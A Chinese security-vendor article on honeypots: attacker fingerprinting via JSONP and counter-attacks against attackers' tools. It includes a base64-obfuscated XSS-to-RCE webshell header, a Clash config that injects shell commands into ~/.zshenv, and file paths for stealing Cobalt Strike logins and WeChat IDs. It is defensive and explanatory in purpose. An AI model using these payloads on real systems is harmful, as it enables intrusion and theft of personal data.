一
前言
本文的撰写过程中笔者借鉴了很多师傅的文章,并在文中也尽可能地做了标注,大体内容是对互联网中的蜜罐方法做了一个梳理整合,如果有写的不对的地方还望斧正,欢迎大家在评论区留言。
二
什么是蜜罐
国际蜜罐技术研究组织Honeynet Project的创始人Lance Spitzner给出了蜜罐的权威定义:蜜罐是一种安全资源,其价值在于被扫描、攻击和攻陷。蜜罐并不向外界用户提供任何服务,所有进出蜜罐的网络流量都是非法的,都可能预示着一次扫描和攻击,蜜罐的核心价值在于对这些非法活动进行监视、检测和分析。
根据蜜罐提供的可交互程度可以将蜜罐分为以下三种:
-
低交互式蜜罐:此类蜜罐一般只会开放一些简单的服务和端口(例如:3306),其目的主要是用来检测攻击者的恶意扫描和可疑连接,但是不会有交互。
-
中交互式蜜罐:此类蜜罐一般会提供众多的服务,同时还会通过提供一些简易的交互功能(例如:MySql简易交互)来提高自身的可信度,从而诱导攻击者对其实施攻击操作。
-
高交互式蜜罐:此类蜜罐一般会提供一个更加真实的环境,更有甚者会提供一套真实的系统来诱导攻击者对其实施攻击操作,但是这种蜜罐的部署需要注意网络的隔离处理。
下边这篇文章里,比较清楚地描述了蜜罐的能力、使用场景及案例:
https://mp.weixin.qq.com/s/hb2wSxhMHCRX6PUjb7sGpA
*左右滑动查看更多
当然,以上文章提到的这些更多的是从网络安全管理和解决方案的角度上了解蜜罐。那么蜜罐在实用技术层面,又有哪些作用呢?
三
笔者眼中蜜罐功能的大致分类
-
特征型
通过部署环境,发现攻击者恶意ip,分析攻击者行为,再或者抓exp等等。
-
溯源型
获取攻击队伍信息,进行真实身份溯源。
-
反制型
通过一些攻击者本地某个软件的漏洞,蓝队构造某些特殊场景,诱导攻击队伍one click,从而反制攻击队伍。
四
被动防御-特征
分析攻击者行为也没有太多可说的,主要就是抓exp。每当一个漏洞爆发前,总会有人编写脚本全网打,而资产一般是哪里获取呢?当然是“网络空间搜索引擎”。我们可以将“指纹”写入到前端网页中,部署到公网后,只需要静静等待被网络空间搜索引擎收录,被攻击之后抓取完整流量之后进行分析即可。
下图是很久之前在一个群里看到的:
前端页面:
|
后台查看收集到的流量:
五
红队噩梦-溯源
溯源采用的主要技术JSONP探针或者反射xss等前端漏洞去获取数据,主要是利用攻击者在实施攻击时使用未清理Cookie的常用浏览器直接访问蜜罐系统,而被蜜罐系统捕获攻击者的个人信息(各类网站的登录接口),之后通过分析溯源到攻击者。
jsnop原理:客户端通过请求script标签发出跨域请求,然后服务端输出JSON数据并且执行回调函数,这种跨域的数据输出方式称为JSONP。
参考资料:
https://mp.weixin.qq.com/s/T1YgBAdHURmzlHLNMOIgmA
*左右滑动查看更多
过程图如下:
现有资料中披露出来的一些存在JSonp劫持的API:
https://github.com/moonlight-junky/MoAn_Honey_Pot_Urls
https://github.com/fuckjsonp/FuckJsonp-RCE-CVE-2022-26809-SQL-XSS-FuckJsonp
https://mp.weixin.qq.com/s/V6CFq2zegpQHHyUMhTGfsw
*左右滑动查看更多
资料中涉及的蜜罐指纹:
monitordevinfo/common.js
tips:
再说一个通过蜜罐给其他攻击队伍泼脏水的办法。
参考资料:
https://mp.weixin.qq.com/s/Lvo8XT58Tbz_mnQH05qUFQ
*左右滑动查看更多
原理是通过修改本地的hosts文件,将蜜罐所请求的域名指引到我们可以控制的web服务器,然后吐给蜜罐一些“个人信息”。反蜜罐手段 一般都是通过浏览器插件去实现的,拦截jsonp请求,以下是笔者找到的一些开源插件:
https://github.com/Ghr07h/Heimdallr
https://github.com/iiiusky/AntiHoneypot-Chrome-simple
https://github.com/cnrstar/anti-honeypot
*左右滑动查看更多
六
主动出击-反制
一般都是通过客户端的漏洞进行溯源、反打等等,当然不局限于下文中提到的这些。
01、剪贴板劫持反制
构造信息泄露页面,让内容复杂化,诱导攻击队伍复制页面中命令,从而进行劫持。可以配合着其他的漏洞去进行攻击,比如mysql任意文件读取等等。
参考项目:
https://github.com/dxa4481/Pastejacking
*左右滑动查看更多
02、蚁剑反制1
参考文章:https://evoa.app/archives/3/
*左右滑动查看更多
发现此rce的师傅,在上述文章中写的过程比较清楚,总体来说就是:
因为项目通过Electron构建,Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。nodejs本身是可以执行系统命令的,我们编写一个demo看一下:
const express = require('express');
const app = express();
const port = 3000;
// 定义根路由的处理程序
app.get('/', (req, res) => {
require('child_process').exec('open /System/Applications/Calculator.app');
});
// 启动服务器
app.listen(port, () => {
console.log(`网站已启动,访问地址:http://localhost:${port}`);
});
*左右滑动查看更多
启动后访问,执行系统命令。
而当初的蚁剑有一些内容是服务端可控的会造成反射型xss,而nodejs可以通过xss执行系统命令:
那我们构造恶意的webshell,内容如下:
shell.php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ29wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAnKTs=`,`base64`).toString())'>");
*左右滑动查看更多
简单整理一下思路:
1.攻击者对网站目录进行扫描。
2.发现存在一个shell.php。
3.攻击者尝试通过蚁剑对shell.php进行连接。
4.渲染恶意页面JS→RCE。
03、蚁剑反制2
参考资料:https://mp.weixin.qq.com/s/WNv9nPWvKudwimtYTd1zDQ
*左右滑动查看更多
总体的利用方式和以上差不多,只不过触发的条件更为苛刻一些,以下为原作者介绍的思路:
1.攻击者对网站目录进行扫描。
2.发现存在一个shell.php。
3.攻击者尝试通过蚁剑对shell.php进行连接。
4.为了增加连接的成功率甚至可以把密码打印在屏幕上。
5.好了,攻击者连上了我们的恶意webshell,开启了蚁剑的终端。
6.一打开终端看到报错,马上点击链接。
7.渲染恶意页面JS→RCE。
04、goby反制
参考文章:https://mp.weixin.qq.com/s/EPQZs5eQ4LL--tao93cUfQ
*左右滑动查看更多
和蚁剑也是同样的原理,有部分位置可控会造成反射型xss,而不一样的是存在过滤不能通过xss直接执行命令,但可以引入远程js的形式来操作,原作者思路如下:
1.攻击者通过goby扫描准备好的网站。
2.php的服务返回一个header插入xss引用远程js文件。
3.远程js文件里插入完整的执行代码。
4.攻击者点击详情触发xss,最后rce。
05、mysql反制
mysql本地文件读取漏洞,架设好恶意的服务端,正常客户端进行连接后,可以读取客户端本地的文件。
工具下载:
https://github.com/4ra1n/mysql-fake-server
反打攻击者cs
参考文章:https://mp.weixin.qq.com/s/i8eBT8O2IwCotf7wqnveEw
*左右滑动查看更多
每次打开cs都会显示出曾经登录后的ip地址、端口、用户名、密码等信息,这些信息都是存储在本地.aggressor.prop文件中,默认位置为:C:Users用户名.aggressor.prop,可以通过读取此文件的获取到攻击者的cs登录信息,从而进行反打。
反打获取攻击者wxid 同样也是上面的思路,只不过读取的文件不一样,以下是网上借鉴的方法:
// 获取wxid
C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data
// 获取微信号、手机号(未在这个文件中找到)
C:/Users/用户名/Documents/WeChat Files/<wx_id>/config/AccInfo.dat
// mac获取wxid
Users/{用户名}/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat/2.0b4.0.9/topinfo.data
*左右滑动查看更多
当然除了以上说的这些还有各种各样的方法,比如history、主机名等等。
识别mysql蜜罐:
参考文章:
https://mp.weixin.qq.com/s/f30RvhYlB97dXnjzv4_H_Q
参考工具:
https://github.com/BeichenDream/WhetherMysqlSham
*左右滑动查看更多
工具和文章中提到了以下几种办法:
方法 描述 准确率 ThreadId 正常的数据库中,ThreadId是非常大的,而且几乎增长速度很快 Mysql拉黑机制 多次认证失败, 配合ThreadId可以达到百分之80 Salt(盐) 正常的数据库,Salt(盐) 每次请求都会有变化的 百分之百 登录验证识别 有些协议实现不完善的蜜罐,会把任意输入的用户名以及密码当成正确的。 百分之百 认证成功后第一条命令返回包 许多蜜罐为了读取客户端的任意文件来识别攻击者的身份,会把客户端第一条执行的命令作为读取客户端文件的数据包返回。 百分之百 登陆成功后通过sql命令识别 执行命令查看重要的数据库以及表、查看当前正在登录的用户、通过数据库历史连接记录 百分之70
06、clash反制
参考文章:
https://0xf4n9x.github.io/clash-unauth-force-configs-csrf-rce.html``https://mp.weixin.qq.com/s/gA_k-Q0OZiI5RoV8LPkaHw
*左右滑动查看更多
通过RESTful API可以控制Clash内部的配置,可以构造一个恶意的网页通过CSRF构造请求访问攻击者本地Clash的RESTful API,达到未授权配置重置下载任意文件至相应路径,最终实现远程命令执行。思路如下:
1.攻击者进行测试时开启了clashx。
2.攻击者访问到了防守方构造恶意的页面。
3.浏览器就会自动去请求Clash的RESTful API。
4.Clash会自动将evil.yaml下载到受害者本地~/.zshenv。
5.攻击者打开终端时,就会自动执行此文件中的内容。
注:
-
必须允许跨域,python3 -m http.server 9999是不行的,因为其默认不允许跨域。
-
由于Chrome浏览器推出的Private Network Access安全策略,不允许公网HTTP协议的网站对本地网络进行请求,对于Chrome浏览器协议最好使用HTTPS。
-
在Linux系统上可以写入~/.bash_profile、~/.profile、~/.bashrc这三个文件之中;
-
在macOS中也可以写入到这三个文件中,除此之外,还可以写zsh相关的配置文件~/.zshenv。
evil.yaml内容如下:
open /System/Applications/Calculator.app;rm -f ~/.zshenv;bash -c 'nohup sleep 10 2>&1 > /dev/null &' <<!:
aaaaa: 11111
proxies:
{name: vP, server: n04.a00x.party, port: 18000, type: ssr, cipher: aes-256-cfb, password: AFX92CS, protocol: auth_aes128_sha1, obfs: http_simple, protocol-param: 232991:xSnSFv, obfs-param: download.windowsupdate.com, udp: true}
aaaaa: 2222
*左右滑动查看更多
规避手段:
修改外部控制设置的默认端口:
如果在设置中修改不了,可以在clashx中打开设置文件夹→打开对应的.yaml文件→修改external-controller的端口。
或者直接注释掉:
再或者对RESTful API增加鉴权、升级版本等等。
七
结语
蜜罐能不能有效果,除了蜜罐本身的能力,更多的如何是伪装,如何让蜜罐的环境在所处的情况下更可信 归根结底都需要编一个故事——编一个鱼儿和渔夫的故事。
往期回顾
原文始发于微信公众号(安恒信息安全服务):九维团队-蓝队(防御)| 蜜罐-欺骗黑客的主动防御
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论